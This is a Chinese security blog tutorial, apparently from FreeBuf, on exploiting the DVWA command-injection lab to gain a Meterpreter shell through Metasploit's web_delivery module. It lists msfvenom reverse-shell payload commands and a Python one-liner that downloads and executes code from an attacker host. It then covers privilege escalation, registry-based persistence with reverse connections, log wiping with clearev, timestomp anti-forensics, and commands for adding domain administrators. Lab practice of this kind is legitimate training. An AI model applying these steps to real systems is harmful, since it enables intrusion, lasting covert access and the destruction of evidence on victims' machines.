freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

浅谈命令注入漏洞获取目标Shell并提到最高权限
2020-12-15 15:52:45

MSF攻击Windows实验三种姿势:

方法一 :通过web站点,使用无文件的方式攻击利用执行
方法二:通过web站点,上传webshell, 返回给msf
方法三:攻击其他端口服务,拿到meterpreter

信息收集-Nmap端口扫描

信息收集总在前

root@kali:~# nmap -sV -T4 xxx.xxx.xxx.xxx
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-29 10:46 CST
Not shown: 992 filtered ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
80/tcp open http Apache httpd 2.4.23 ((Win32) OpenSSL/1.0.2j PHP/5.4.45)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
3306/tcp open mysq! MySQL (unauthorized)
3389/tcp open ssl/ms-wbt-server?
5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
MAC Address: 00:0C:29:0D:E5:D0 (VMware)
Service Info: Host: LISIANTHUS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

通过扫描,得知开启了80端口,HTTP超文本协议,那么可以用浏览器来访问该IP。访问到我是在本机部署的DVWA靶场。萌新做实验,将DVWA Security等级设置为low。
键入用户名密码进入靶场后,进入Command Injection命令注入练习,ping设备,输入ping的设备(我ping的本机),等待片刻,出信息

1608016183_5fd86137b3cc5edb9847b.png!small?1608016183391

源码分析

在右下方有一个view source按钮,点击查看页面源码:

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?>

其中$_REQUEST[ 'ip' ]中的变量IP是我们输入的IP地址
php_uname( 's' ), 'Windows NT' )后台判断操作系统是否为Windows NT(即Windows操作系统)
shell_exec( 'ping ' . $target )如果是,执行ping target,
如果时Linux or Unix,执行'ping -c 4 ' . $target,指定次数,因为Unix的ping如果不给出数值会一直ping下去。
此处查看源码发现没有对IP地址设置过滤或其他封装,此处可以搞一个命令拼接,命令执行漏洞来测试:

1608016741_5fd8636587cd36f2471a7.png!small?1608016741214

成功查看到主机名,命令拼接执行成功。

有关系么?

那么如何利用命令执行漏洞获得目标机器的控制权限呢?
当攻击者拥有部分受害者主机的控制权,但还没有拿到一个完整的shell时, web_ delivery就派 上用场。
web_ delivery的主要目的是快速和受害者主机建立一条session。 当受害者主机存在比如命令注入、远、程命令执行等问题时,攻击者可以使用web_ delivery生成的一 条命令建立连接。
另外web_ delivery的payload不会在受害者主机磁盘上写文件,而是直接将攻击者服务器上的代码加载
到内存执行,有利于绕过检测。
web_ delivery支持php/ python/powershell等多种脚本,使用不同的脚本的payload时需要通过set
target 0或1或2来设置是使用php还是python还是powershell等。

web_delivery

1608016807_5fd863a792f58bd1ad410.png!small?1608016807200

获得msf5>shell之后 执行use exploit/multi/script/web_delivery使用web_delivery模块,查看配置项show options

1608016980_5fd8645428fb3fb69c5d8.png!small?1608016979911

通过查看配置项可以看到此处默认的payload是利用Python反弹tcp-shell,可以修改payload,也可以修改target,本次实验使用默认的Python,执行show targets列出target支持对哪些目标的反弹shell:

1608016930_5fd86422c70eabf505df8.png!small?1608016930470

PSH即powershell,可以简单理解为它是一个经过.NET的一个拓展的、比cmd更强大的shell,PSH可以利用.NET的漏洞库进行很多操作

set:lhost&lport

设置lhost(攻击机的IP,也就是本机啦,但是这里不要写回环地址127.0.0.1,要写IPv4地址)
和lport(攻击机用来监听的端口号)
对这两个参数的详细说明可以参考我的上一篇博客

1608017038_5fd8648e13f4b0ac1cefe.png!small?1608017037912

RUN!!!

run跑起来1608017067_5fd864ab7ff90106efb2d.png!small?1608017067191

由于上面我们一直知道DVWA的Command Injection中可以命令拼接,也就是存在命令执行漏洞,run之后的target machine给到的一个Python开头这一串东西就是用于命令注入的payload。
这里要注意一下,既然我们使用的是Python的payload那一定要这个网站机器上有Python环境,如果没有也没关系,上面的show targets列出target中可以看到web_delivery支持好多种脚本语言。
不妨尝试一下PSH的payload,但如果是要攻击Win XP系统、2003系统,使用PSH是不行的,因为他们两个不具备power shell,这里要留意下下咯。
在自己练习中,可以去python官网下载python2级以上版本https://www.python.org/downloads/release/python-272/

msfvenom生成payload

msfvenom可以用来生成Linux的ELF文件、Windows的PE文件(.exe)、web可执行文件php和Python可执行文件.py。
linux:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT= -f elf > shell.elf
msfvenom -p linux/x86/meterpreter/bind_tcp LHOST=< Target IP Address> LPORT= -f elf > shell.elf
windows:
msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe > shell.exe
php:
msfvenom -p php/meterpreter/reverse_tcp LHOST= LPORT= -f raw > shell.php
python:
msfvenom -p python/meterpreter/reverse_tcp LHOST= < Your IP Address> LPORT= -f raw > shell.py

后渗透阶段

python -c "import sys;import ssl;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://10.2.113.13:8080/Ws25Ghl', context=ssl._create_unverified_context());exec(r.read());"

将其复制,将原先我们手动测试是执行的127.0.0.1&&whoami中的whoami替换为上面生成的payload。

1608017504_5fd866603991a7a3b963f.png!small?1608017503940

执行,等待片刻,攻击机端发现一个请求连接的机器,编号为1(session1)

1608017586_5fd866b20b068c4086554.png!small?1608017585909

获取到 Meterpreter

可执行sysinfo查看靶机的设备信息。

1608017839_5fd867af7c8e7737f1d5a.png!small?1608017839158

执行shell可获得靶机的shellu权限;
查看IP ,确认是否为目标靶机的信息:

1608017864_5fd867c8731338dd926f6.png!small?1608017864337

最终执行getsystem通过各种攻击向量,将shell提升到系统用户权限。

后门持久化

权限维持
Persistence模块
我们先看一下Persistence模块信息:
Run persistence -h//查看帮助信息;
run persistence -U -i 5 -p 5555 -r 192.168.205.148
-U:设置后门在用户登录后自启动。该方式会在HKCU\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表信息。推荐使用该参数;
-i:设置反向连接间隔时间,单位为秒;
-p:设置反向连接的端口号;
-r:设置反向连接的ip地址。

痕迹清除

在渗透入侵的过程中难免会留下一下日志信息痕迹,我们可以使用此命令来擦除留下的痕迹:

clearev这个命令是最直接的删除日志的命令。

运行命令后目标主机上面的日志会全部删除。

后渗透阶段的常用命令总结

ls列出目标主机的文件和文件夹信息
use priv加载特权提升扩展模块,来扩展meterpreter库
ps显示所有运行进程以及关联的用户账户
getsystem通过各种攻击向量来提升到系统用户权限
shell以所有可用令牌来运行一个交互的shell
screenshot对目标主机的屏幕进行截图
upload file向目标主机上传文件
download file从目标主机下载文件
sniffer_interfaces列出目标主机所有开放的网络接口
sniffer_dump interfaceID pcapname在目标主机上启动嗅探
sniffer_start interfaceID packet_buffer在目标主机上针对特定范围的数据包缓冲区启动嗅探
sniffer_stats interfaceID获取正在实施嗅探网络接口的统计数据
sniffer_stop interfaceID停止嗅探
add_user username password -h ip在远程目标主机上添加一个用户
add_group_user “Domain Adimins”username -h ip将用户添加到目标主机的域管理员组中
clearev清除目标主机上的日志记录
timestomp修改文件属性,例如修改文件的创建时间(反取证调差)
reboot重启目标主机

# 系统安全 # 木马 # 注入漏洞 # Getshell
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录